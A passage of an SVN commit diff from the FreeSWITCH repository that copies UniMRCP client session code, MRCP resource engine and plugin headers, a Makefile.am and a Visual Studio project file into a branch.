+	termination_slot = mrcp_client_rtp_termination_find(session,mpf_message->termination);
+	if(termination_slot) {
+		/* rtp termination */
+		mpf_rtp_termination_descriptor_t *rtp_descriptor;
+		if(termination_slot->waiting == FALSE) {
+			return FALSE;
+		}
+		termination_slot->waiting = FALSE;
+		rtp_descriptor = mpf_message->descriptor;
+		if(rtp_descriptor->audio.local) {
+			session->offer->ip = rtp_descriptor->audio.local->base.ip;
+			session->offer->ext_ip = rtp_descriptor->audio.local->base.ext_ip;
+			rtp_descriptor->audio.local->base.id = mrcp_session_audio_media_add(session->offer,rtp_descriptor->audio.local);
+			rtp_descriptor->audio.local->mid = session->offer->audio_media_arr->nelts;
+		}
+		if(session->offer_flag_count) {
+			session->offer_flag_count--;
+			if(!session->offer_flag_count) {
+				/* send offer to server */
+				mrcp_client_session_offer_send(session);
+			}
+		}
+	}
+	else {
+		/* channel termination */
+		mrcp_channel_t *channel = mrcp_client_channel_termination_find(session,mpf_message->termination);
+		if(channel && channel->waiting_for_termination == TRUE) {
+			channel->waiting_for_termination = FALSE;
+			if(session->offer_flag_count) {
+				session->offer_flag_count--;
+				if(!session->offer_flag_count) {
+					/* send offer to server */
+					mrcp_client_session_offer_send(session);
+				}
+			}
+		}
+	}
+	return TRUE;
+}
+
+static apt_bool_t mrcp_client_on_termination_modify(mrcp_client_session_t *session, mpf_message_t *mpf_message)
+{
+	rtp_termination_slot_t *termination_slot;
+	if(!session) {
+		return FALSE;
+	}
+	termination_slot = mrcp_client_rtp_termination_find(session,mpf_message->termination);
+	if(termination_slot) {
+		/* rtp termination */
+		if(termination_slot->waiting == FALSE) {
+			return FALSE;
+		}
+		termination_slot->waiting = FALSE;
+		termination_slot->descriptor = mpf_message->descriptor;;
+
+		if(session->offer_flag_count) {
+			session->offer_flag_count--;
+			if(!session->offer_flag_count) {
+				/* send offer to server */
+				mrcp_client_session_offer_send(session);
+			}
+		}
+		if(session->answer_flag_count) {
+			session->answer_flag_count--;
+			if(!session->answer_flag_count) {
+				/* raise app response */
+				mrcp_app_sig_response_raise(session,MRCP_SIG_STATUS_CODE_SUCCESS,TRUE);
+			}
+		}
+	}
+	return TRUE;
+}
+
+static apt_bool_t mrcp_client_on_termination_subtract(mrcp_client_session_t *session, mpf_message_t *mpf_message)
+{
+	rtp_termination_slot_t *termination_slot;
+	if(!session) {
+		return FALSE;
+	}
+	termination_slot = mrcp_client_rtp_termination_find(session,mpf_message->termination);
+	if(termination_slot) {
+		/* rtp termination */
+		if(termination_slot->waiting == FALSE) {
+			return FALSE;
+		}
+		termination_slot->waiting = FALSE;
+		if(session->terminate_flag_count) {
+			session->terminate_flag_count--;
+			if(!session->terminate_flag_count) {
+				mrcp_app_session_terminate_raise(session,MRCP_SIG_STATUS_CODE_SUCCESS);
+			}
+		}
+	}
+	else {
+		/* channel termination */
+		mrcp_channel_t *channel = mrcp_client_channel_termination_find(session,mpf_message->termination);
+		if(channel && channel->waiting_for_termination == TRUE) {
+			channel->waiting_for_termination = FALSE;
+			if(session->terminate_flag_count) {
+				session->terminate_flag_count--;
+				if(!session->terminate_flag_count) {
+					/* raise app response */
+					mrcp_app_sig_response_raise(session,MRCP_SIG_STATUS_CODE_SUCCESS,TRUE);
+				}
+			}
+		}
+	}
+	return TRUE;
+}
+
+apt_bool_t mrcp_client_mpf_message_process(mpf_message_t *mpf_message)
+{
+	mrcp_client_session_t *session = NULL;
+	if(mpf_message->context) {
+		session = mpf_context_object_get(mpf_message->context);
+	}
+	if(!session) {
+		return FALSE;
+	}
+	if(mpf_message->message_type == MPF_MESSAGE_TYPE_RESPONSE) {
+		switch(mpf_message->command_id) {
+			case MPF_COMMAND_ADD:
+				apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"On Termination Add "APT_PTRSID_FMT, MRCP_SESSION_PTRSID(&session->base));
+				mrcp_client_on_termination_add(session,mpf_message);
+				break;
+			case MPF_COMMAND_MODIFY:
+				apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"On Termination Modify "APT_PTRSID_FMT, MRCP_SESSION_PTRSID(&session->base));
+				mrcp_client_on_termination_modify(session,mpf_message);
+				break;
+			case MPF_COMMAND_SUBTRACT:
+				apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"On Termination Subtract "APT_PTRSID_FMT, MRCP_SESSION_PTRSID(&session->base));
+				mrcp_client_on_termination_subtract(session,mpf_message);
+				break;
+			default:
+				break;
+		}
+	}
+	else if(mpf_message->message_type == MPF_MESSAGE_TYPE_EVENT) {
+		apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Process MPF Event "APT_PTRSID_FMT, MRCP_SESSION_PTRSID(&session->base));
+	}
+	return TRUE;
+}
+
+static apt_bool_t mrcp_client_resource_answer_process(mrcp_client_session_t *session, mrcp_session_descriptor_t *descriptor)
+{
+	apt_bool_t status = TRUE;
+	if(session->offer->resource_state == TRUE) {
+		if(descriptor->resource_state == TRUE) {
+			mrcp_client_av_media_answer_process(session,descriptor);
+		}
+		else {
+			status = FALSE;
+		}
+	}
+	return status;
+}
+
+static apt_bool_t mrcp_client_control_media_answer_process(mrcp_client_session_t *session, mrcp_session_descriptor_t *descriptor)
+{
+	mrcp_channel_t *channel;
+	mrcp_control_descriptor_t *control_descriptor;
+	int i;
+	int count = session->channels->nelts;
+	if(count != descriptor->control_media_arr->nelts) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Number of control channels [%d] != Number of control media in answer [%d]",
+			count,descriptor->control_media_arr->nelts);
+		count = descriptor->control_media_arr->nelts;
+	}
+
+	if(!session->base.id.length) {
+		/* initial answer received, store session id and add to session's table */
+		control_descriptor = mrcp_session_control_media_get(descriptor,0);
+		if(control_descriptor) {
+			session->base.id = control_descriptor->session_id;
+		}
+	}
+
+	/* update existing control channels */
+	for(i=0; i<count; i++) {
+		/* get existing channel */
+		channel = *((mrcp_channel_t**)session->channels->elts + i);
+		if(!channel) continue;
+
+		/* get control descriptor */
+		control_descriptor = mrcp_session_control_media_get(descriptor,i);
+		/* modify channel */
+		apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Modify Control Channel "APT_PTRSID_FMT, MRCP_SESSION_PTRSID(&session->base));
+		if(mrcp_client_control_channel_modify(channel->control_channel,control_descriptor) == TRUE) {
+			channel->waiting_for_channel = TRUE;
+			session->answer_flag_count++;
+		}
+	}
+	return TRUE;
+}
+
+static apt_bool_t mrcp_client_av_media_answer_process(mrcp_client_session_t *session, mrcp_session_descriptor_t *descriptor)
+{
+	rtp_termination_slot_t *slot;
+	int i;
+	int count = session->terminations->nelts;
+	if(count != descriptor->audio_media_arr->nelts) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Number of terminations [%d] != Number of audio media in answer [%d]",
+			count,descriptor->audio_media_arr->nelts);
+		count = descriptor->audio_media_arr->nelts;
+	}
+	
+	/* update existing terminations */
+	for(i=0; i<count; i++) {
+		mpf_rtp_media_descriptor_t *remote_media;
+		mpf_rtp_termination_descriptor_t *rtp_descriptor;
+		/* get existing termination */
+		slot = &((rtp_termination_slot_t*)session->terminations->elts)[i];
+		if(!slot) continue;
+
+		remote_media = mrcp_session_audio_media_get(descriptor,i);
+		if(slot->descriptor) {
+			slot->descriptor->audio.remote = remote_media;
+		}
+		if(slot->termination) {
+			/* construct termination descriptor */
+			rtp_descriptor = apr_palloc(session->base.pool,sizeof(mpf_rtp_termination_descriptor_t));
+			mpf_rtp_termination_descriptor_init(rtp_descriptor);
+			rtp_descriptor->audio.local = NULL;
+			rtp_descriptor->audio.remote = remote_media;
+
+			/* send modify termination request */
+			apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Modify Termination "APT_PTRSID_FMT, MRCP_SESSION_PTRSID(&session->base));
+			if(mrcp_client_mpf_request_send(session->profile->media_engine,MPF_COMMAND_MODIFY,session->context,slot->termination,rtp_descriptor) == TRUE) {
+				slot->waiting = TRUE;
+				session->answer_flag_count++;
+			}
+		}
+	}
+	return TRUE;
+}
+
+static apt_bool_t mrcp_app_request_dispatch(mrcp_client_session_t *session, const mrcp_app_message_t *app_message)
+{
+	if(session->registered == FALSE) {
+		session->base.signaling_agent = session->profile->signaling_agent;
+		session->base.signaling_agent->create_client_session(&session->base);
+
+		mrcp_client_session_add(session->application->client,session);
+		session->registered = TRUE;
+	}
+	switch(app_message->message_type) {
+		case MRCP_APP_MESSAGE_TYPE_SIGNALING:
+		{
+			apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Dispatch Application Request "APT_PTRSID_FMT" [%d]",
+				MRCP_SESSION_PTRSID(&session->base),
+				app_message->sig_message.command_id);
+			switch(app_message->sig_message.command_id) {
+				case MRCP_SIG_COMMAND_SESSION_UPDATE:
+					mrcp_client_session_update(session);
+					break;
+				case MRCP_SIG_COMMAND_SESSION_TERMINATE:
+					mrcp_client_session_terminate(session);
+					break;
+				case MRCP_SIG_COMMAND_CHANNEL_ADD:
+					mrcp_client_channel_add(session,app_message->channel);
+					break;
+				case MRCP_SIG_COMMAND_CHANNEL_REMOVE:
+					mrcp_client_channel_modify(session,app_message->channel,FALSE);
+					break;
+				case MRCP_SIG_COMMAND_RESOURCE_DISCOVER:
+					mrcp_client_resource_discover(session);
+					break;
+				default:
+					break;
+			}
+			break;
+		}
+		case MRCP_APP_MESSAGE_TYPE_CONTROL:
+		{
+			mrcp_client_message_send(session,app_message->channel,app_message->control_message);
+			break;
+		}
+	}
+	return TRUE;
+}
+
+/** Dispatch application message */
+MRCP_DECLARE(apt_bool_t) mrcp_application_message_dispatch(const mrcp_app_message_dispatcher_t *dispatcher, const mrcp_app_message_t *app_message)
+{
+	apt_bool_t status = FALSE;
+	switch(app_message->message_type) {
+		case MRCP_APP_MESSAGE_TYPE_SIGNALING:
+		{
+			if(app_message->sig_message.message_type == MRCP_SIG_MESSAGE_TYPE_RESPONSE) {
+				switch(app_message->sig_message.command_id) {
+					case MRCP_SIG_COMMAND_SESSION_UPDATE:
+						if(dispatcher->on_session_update) {
+							status = dispatcher->on_session_update(
+										app_message->application,
+										app_message->session,
+										app_message->sig_message.status);
+						}
+						break;
+					case MRCP_SIG_COMMAND_SESSION_TERMINATE:
+						if(dispatcher->on_session_terminate) {
+							status = dispatcher->on_session_terminate(
+										app_message->application,
+										app_message->session,
+										app_message->sig_message.status);
+						}
+						break;
+					case MRCP_SIG_COMMAND_CHANNEL_ADD:
+						if(dispatcher->on_channel_add) {
+							status = dispatcher->on_channel_add(
+										app_message->application,
+										app_message->session,
+										app_message->channel,
+										app_message->sig_message.status);
+						}
+						break;
+					case MRCP_SIG_COMMAND_CHANNEL_REMOVE:
+						if(dispatcher->on_channel_remove) {
+							status = dispatcher->on_channel_remove(
+										app_message->application,
+										app_message->session,
+										app_message->channel,
+										app_message->sig_message.status);
+						}
+						break;
+					case MRCP_SIG_COMMAND_RESOURCE_DISCOVER:
+						if(dispatcher->on_resource_discover) {
+							status = dispatcher->on_resource_discover(
+										app_message->application,
+										app_message->session,
+										app_message->descriptor,
+										app_message->sig_message.status);
+						}
+						break;
+					default:
+						break;
+				}
+			}
+			else if(app_message->sig_message.message_type == MRCP_SIG_MESSAGE_TYPE_EVENT) {
+				switch(app_message->sig_message.event_id) {
+					case MRCP_SIG_EVENT_READY:
+						if(dispatcher->on_ready) {
+							status = dispatcher->on_ready(
+										app_message->application,
+										app_message->sig_message.status);
+						}
+						break;
+					case MRCP_SIG_EVENT_TERMINATE:
+						if(dispatcher->on_terminate_event) {
+							status = dispatcher->on_terminate_event(
+										app_message->application,
+										app_message->session,
+										app_message->channel);
+						}
+						break;
+					default:
+						break;
+				}
+			}
+			break;
+		}
+		case MRCP_APP_MESSAGE_TYPE_CONTROL:
+		{
+			if(dispatcher->on_message_receive) {
+				status = dispatcher->on_message_receive(
+										app_message->application,
+										app_message->session,
+										app_message->channel,
+										app_message->control_message);
+			}
+			break;
+		}
+	}
+	return status;
+}
+
+static apt_bool_t mrcp_client_mpf_request_send(
+						mpf_engine_t *engine, 
+						mpf_command_type_e command_id,
+						mpf_context_t *context, 
+						mpf_termination_t *termination, 
+						void *descriptor)
+{
+	apt_task_t *media_task;
+	apt_task_msg_t *msg;
+	mpf_message_t *mpf_message;
+	if(!engine) {
+		return FALSE;
+	}
+	media_task = mpf_task_get(engine);
+	msg = apt_task_msg_get(media_task);
+	msg->type = TASK_MSG_USER;
+	mpf_message = (mpf_message_t*) msg->data;
+
+	mpf_message->message_type = MPF_MESSAGE_TYPE_REQUEST;
+	mpf_message->command_id = command_id;
+	mpf_message->context = context;
+	mpf_message->termination = termination;
+	mpf_message->descriptor = descriptor;
+	return apt_task_msg_signal(media_task,msg);
+}

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-engine (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp-engine)

Property changes: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-engine


Name: svn:ignore
   + Makefile.in
Makefile
*.user
.deps

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-engine/Makefile.am

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-engine/Makefile.am (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp-engine/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcp-engine/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcp-engine/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,17 @@
+MAINTAINERCLEANFILES 	    = Makefile.in
+
+INCLUDES                    = -I$(top_srcdir)/libs/mrcp-engine/include \
+                              -I$(top_srcdir)/libs/mrcp/include \
+                              -I$(top_srcdir)/libs/mrcp/message/include \
+                              -I$(top_srcdir)/libs/mrcp/control/include \
+                              -I$(top_srcdir)/libs/mrcp/resources/include \
+                              -I$(top_srcdir)/libs/mpf/include \
+                              -I$(top_srcdir)/libs/apr-toolkit/include \
+                              $(UNIMRCP_APR_INCLUDES) $(UNIMRCP_APU_INCLUDES)
+
+noinst_LTLIBRARIES          = libmrcpengine.la
+
+include_HEADERS             = include/mrcp_resource_plugin.h \
+                              include/mrcp_resource_engine.h
+
+libmrcpengine_la_SOURCES    = src/mrcp_resource_engine.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-engine/include (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp-engine/include)

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-engine/include/mrcp_resource_engine.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-engine/include/mrcp_resource_engine.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp-engine/include/mrcp_resource_engine.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcp-engine/include/mrcp_resource_engine.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcp-engine/include/mrcp_resource_engine.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,215 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MRCP_RESOURCE_ENGINE_H__
+#define __MRCP_RESOURCE_ENGINE_H__
+
+/**
+ * @file mrcp_resource_engine.h
+ * @brief MRCP Resource Engine Interface
+ */ 
+
+#include "mrcp_types.h"
+#include "mpf_termination.h"
+#include "mpf_stream.h"
+#include "mrcp_resource_plugin.h"
+
+APT_BEGIN_EXTERN_C
+
+/** MRCP resource engine vtable declaration */
+typedef struct mrcp_engine_method_vtable_t mrcp_engine_method_vtable_t;
+/** MRCP engine channel declaration */
+typedef struct mrcp_engine_channel_t mrcp_engine_channel_t;
+/** MRCP engine channel virtual method table declaration */
+typedef struct mrcp_engine_channel_method_vtable_t mrcp_engine_channel_method_vtable_t;
+/** MRCP engine channel virtual event table declaration */
+typedef struct mrcp_engine_channel_event_vtable_t mrcp_engine_channel_event_vtable_t;
+
+/** Table of channel virtual methods */
+struct mrcp_engine_channel_method_vtable_t {
+	/** Virtual destroy */
+	apt_bool_t (*destroy)(mrcp_engine_channel_t *channel);
+	/** Virtual open */
+	apt_bool_t (*open)(mrcp_engine_channel_t *channel);
+	/** Virtual close */
+	apt_bool_t (*close)(mrcp_engine_channel_t *channel);
+	/** Virtual process_request */
+	apt_bool_t (*process_request)(mrcp_engine_channel_t *channel, mrcp_message_t *request);
+};
+
+/** Table of channel virtual event handlers */
+struct mrcp_engine_channel_event_vtable_t {
+	/** Open event handler */
+	apt_bool_t (*on_open)(mrcp_engine_channel_t *channel, apt_bool_t status);
+	/** Close event handler */
+	apt_bool_t (*on_close)(mrcp_engine_channel_t *channel);
+	/** Message event handler */
+	apt_bool_t (*on_message)(mrcp_engine_channel_t *channel, mrcp_message_t *message);
+};
+
+/** MRCP engine channel declaration */
+struct mrcp_engine_channel_t {
+	/** Table of virtual methods */
+	const mrcp_engine_channel_method_vtable_t *method_vtable;
+	/** External object used with virtual methods */
+	void                                      *method_obj;
+	/** Table of virtual event handlers */
+	const mrcp_engine_channel_event_vtable_t  *event_vtable;
+	/** External object used with event handlers */
+	void                                      *event_obj;
+	/** Media termination */
+	mpf_termination_t                         *termination;
+	/** Back pointer to resource engine */
+	mrcp_resource_engine_t                    *engine;
+	/** Unique identifier (useful for traces) */
+	apt_str_t                                  id;
+	/** Pool to allocate memory from */
+	apr_pool_t                                *pool;
+};
+
+/** Table of MRCP engine virtual methods */
+struct mrcp_engine_method_vtable_t {
+	/** Virtual destroy */
+	apt_bool_t (*destroy)(mrcp_resource_engine_t *engine);
+	/** Virtual open */
+	apt_bool_t (*open)(mrcp_resource_engine_t *engine);
+	/** Virtual close */
+	apt_bool_t (*close)(mrcp_resource_engine_t *engine);
+	/** Virtual channel create */
+	mrcp_engine_channel_t* (*create_channel)(mrcp_resource_engine_t *engine, apr_pool_t *pool);
+};
+
+/** MRCP resource engine */
+struct mrcp_resource_engine_t {
+	/** Plugin version */
+	mrcp_plugin_version_t              plugin_version;
+	/** Resource identifier */
+	mrcp_resource_id                   resource_id;
+	/** External object associated with engine */
+	void                              *obj;
+	/** Table of virtual methods */
+	const mrcp_engine_method_vtable_t *method_vtable;
+	/** Codec manager */
+	const mpf_codec_manager_t         *codec_manager;
+	/** Dir layout structure */
+	const apt_dir_layout_t            *dir_layout;
+	/** Pool to allocate memory from */
+	apr_pool_t                        *pool;
+};
+
+/** Create resource engine */
+mrcp_resource_engine_t* mrcp_resource_engine_create(
+								mrcp_resource_id resource_id,
+								void *obj, 
+								const mrcp_engine_method_vtable_t *vtable,
+								apr_pool_t *pool);
+
+/** Destroy resource engine */
+static APR_INLINE apt_bool_t mrcp_resource_engine_destroy(mrcp_resource_engine_t *engine)
+{
+	return engine->method_vtable->destroy(engine);
+}
+
+/** Open resource engine */
+static APR_INLINE apt_bool_t mrcp_resource_engine_open(mrcp_resource_engine_t *engine)
+{
+	return engine->method_vtable->open(engine);
+}
+
+/** Close resource engine */
+static APR_INLINE apt_bool_t mrcp_resource_engine_close(mrcp_resource_engine_t *engine)
+{
+	return engine->method_vtable->close(engine);
+}
+
+/** Create engine channel */
+mrcp_engine_channel_t* mrcp_engine_channel_create(
+								mrcp_resource_engine_t *engine,
+								const mrcp_engine_channel_method_vtable_t *method_vtable,
+								void *method_obj,
+								mpf_termination_t *termination,
+								apr_pool_t *pool);
+
+/** Create engine channel and source media termination */
+mrcp_engine_channel_t* mrcp_engine_source_channel_create(
+								mrcp_resource_engine_t *engine,
+								const mrcp_engine_channel_method_vtable_t *channel_vtable,
+								const mpf_audio_stream_vtable_t *stream_vtable,
+								void *method_obj,
+								mpf_codec_descriptor_t *codec_descriptor,
+								apr_pool_t *pool);
+
+/** Create engine channel and sink media termination */
+mrcp_engine_channel_t* mrcp_engine_sink_channel_create(
+								mrcp_resource_engine_t *engine,
+								const mrcp_engine_channel_method_vtable_t *channel_vtable,
+								const mpf_audio_stream_vtable_t *stream_vtable,
+								void *method_obj,
+								mpf_codec_descriptor_t *codec_descriptor,
+								apr_pool_t *pool);
+
+/** Destroy engine channel */
+static APR_INLINE apt_bool_t mrcp_engine_channel_destroy(mrcp_engine_channel_t *channel)
+{
+	return channel->method_vtable->destroy(channel);
+}
+
+/** Open engine channel */
+static APR_INLINE apt_bool_t mrcp_engine_channel_open(mrcp_engine_channel_t *channel)
+{
+	return channel->method_vtable->open(channel);
+}
+
+/** Close engine channel */
+static APR_INLINE apt_bool_t mrcp_engine_channel_close(mrcp_engine_channel_t *channel)
+{
+	return channel->method_vtable->close(channel);
+}
+
+/** Process request */
+static APR_INLINE apt_bool_t mrcp_engine_channel_request_process(mrcp_engine_channel_t *channel, mrcp_message_t *message)
+{
+	return channel->method_vtable->process_request(channel,message);
+}
+
+/** Send channel open response */
+static APR_INLINE apt_bool_t mrcp_engine_channel_open_respond(mrcp_engine_channel_t *channel, apt_bool_t status)
+{
+	return channel->event_vtable->on_open(channel,status);
+}
+
+/** Send channel close response */
+static APR_INLINE apt_bool_t mrcp_engine_channel_close_respond(mrcp_engine_channel_t *channel)
+{
+	return channel->event_vtable->on_close(channel);
+}
+
+/** Send response/event message */
+static APR_INLINE apt_bool_t mrcp_engine_channel_message_send(mrcp_engine_channel_t *channel, mrcp_message_t *message)
+{
+	return channel->event_vtable->on_message(channel,message);
+}
+
+/** Get codec of the audio source stream */
+mpf_codec_t* mrcp_engine_source_stream_codec_get(mrcp_engine_channel_t *channel);
+
+/** Get codec of the audio sink stream */
+mpf_codec_t* mrcp_engine_sink_stream_codec_get(mrcp_engine_channel_t *channel);
+
+
+APT_END_EXTERN_C
+
+#endif /*__MRCP_RESOURCE_ENGINE_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-engine/include/mrcp_resource_plugin.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-engine/include/mrcp_resource_plugin.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp-engine/include/mrcp_resource_plugin.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcp-engine/include/mrcp_resource_plugin.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcp-engine/include/mrcp_resource_plugin.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,110 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MRCP_RESOURCE_PLUGIN_H__
+#define __MRCP_RESOURCE_PLUGIN_H__
+
+/**
+ * @file mrcp_resource_plugin.h
+ * @brief MRCP Resource Engine Plugin
+ */ 
+
+#include "apr_version.h"
+#include "apt_log.h"
+
+APT_BEGIN_EXTERN_C
+
+/** Plugin export defines */
+#ifdef WIN32
+#define MRCP_PLUGIN_DECLARE(type) EXTERN_C __declspec(dllexport) type
+#else
+#define MRCP_PLUGIN_DECLARE(type) type
+#endif
+
+/** Symbol name of the main entry point in plugin DSO */
+#define MRCP_PLUGIN_ENGINE_SYM_NAME "mrcp_plugin_create"
+/** Symbol name of the log accessor entry point in plugin DSO */
+#define MRCP_PLUGIN_LOGGER_SYM_NAME "mrcp_plugin_logger_set"
+
+/** MRCP resource engine declaration */
+typedef struct mrcp_resource_engine_t mrcp_resource_engine_t;
+/** Prototype of resource engine creator (entry point of plugin DSO) */
+typedef mrcp_resource_engine_t* (*mrcp_plugin_creator_f)(apr_pool_t *pool);
+
+/** Prototype of resource engine creator (entry point of plugin DSO) */
+typedef apt_bool_t (*mrcp_plugin_log_accessor_f)(apt_logger_t *logger);
+
+/** Declare this macro in plugins to use log routine of the server */
+#define MRCP_PLUGIN_LOGGER_IMPLEMENT \
+	MRCP_PLUGIN_DECLARE(apt_bool_t) mrcp_plugin_logger_set(apt_logger_t *logger) \
+		{ return apt_log_instance_set(logger); }
+
+
+/** major version 
+ * Major API changes that could cause compatibility problems for older
+ * plugins such as structure size changes.  No binary compatibility is
+ * possible across a change in the major version.
+ */
+#define PLUGIN_MAJOR_VERSION   0
+
+/** minor version
+ * Minor API changes that do not cause binary compatibility problems.
+ * Reset to 0 when upgrading PLUGIN_MAJOR_VERSION
+ */
+#define PLUGIN_MINOR_VERSION   4
+
+/** patch level 
+ * The Patch Level never includes API changes, simply bug fixes.
+ * Reset to 0 when upgrading PLUGIN_MINOR_VERSION
+ */
+#define PLUGIN_PATCH_VERSION   0
+
+
+/**
+ * Check at compile time if the plugin version is at least a certain
+ * level.
+ */
+#define PLUGIN_VERSION_AT_LEAST(major,minor,patch)                    \
+(((major) < PLUGIN_MAJOR_VERSION)                                     \
+ || ((major) == PLUGIN_MAJOR_VERSION && (minor) < PLUGIN_MINOR_VERSION) \
+ || ((major) == PLUGIN_MAJOR_VERSION && (minor) == PLUGIN_MINOR_VERSION && (patch) <= PLUGIN_PATCH_VERSION))
+
+/** The formatted string of plugin's version */
+#define PLUGIN_VERSION_STRING \
+     APR_STRINGIFY(PLUGIN_MAJOR_VERSION) "." \
+     APR_STRINGIFY(PLUGIN_MINOR_VERSION) "." \
+     APR_STRINGIFY(PLUGIN_PATCH_VERSION)
+
+/** Plugin version */
+typedef apr_version_t mrcp_plugin_version_t;
+
+/** Get plugin version */
+static APR_INLINE void mrcp_plugin_version_get(mrcp_plugin_version_t *version)
+{
+	version->major = PLUGIN_MAJOR_VERSION;
+	version->minor = PLUGIN_MINOR_VERSION;
+	version->patch = PLUGIN_PATCH_VERSION;
+}
+
+/** Check plugin version */
+static APR_INLINE int mrcp_plugin_version_check(mrcp_plugin_version_t *version)
+{
+	return PLUGIN_VERSION_AT_LEAST(version->major,version->minor,version->patch);
+}
+
+APT_END_EXTERN_C
+
+#endif /*__MRCP_RESOURCE_PLUGIN_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-engine/mrcpengine.vcproj

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-engine/mrcpengine.vcproj (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp-engine/mrcpengine.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcp-engine/mrcpengine.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcp-engine/mrcpengine.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,153 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="mrcpengine"
+	ProjectGUID="{843425BE-9A9A-44F4-A4E3-4B57D6ABD53C}"
+	RootNamespace="mrcpengine"
+	Keyword="Win32Proj"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(ProjectDir)..\..\build\vsprops\unidebug.vsprops;$(ProjectDir)..\..\build\vsprops\mrcpengine.vsprops"
+			CharacterSet="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(ProjectDir)..\..\build\vsprops\unirelease.vsprops;$(ProjectDir)..\..\build\vsprops\mrcpengine.vsprops"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
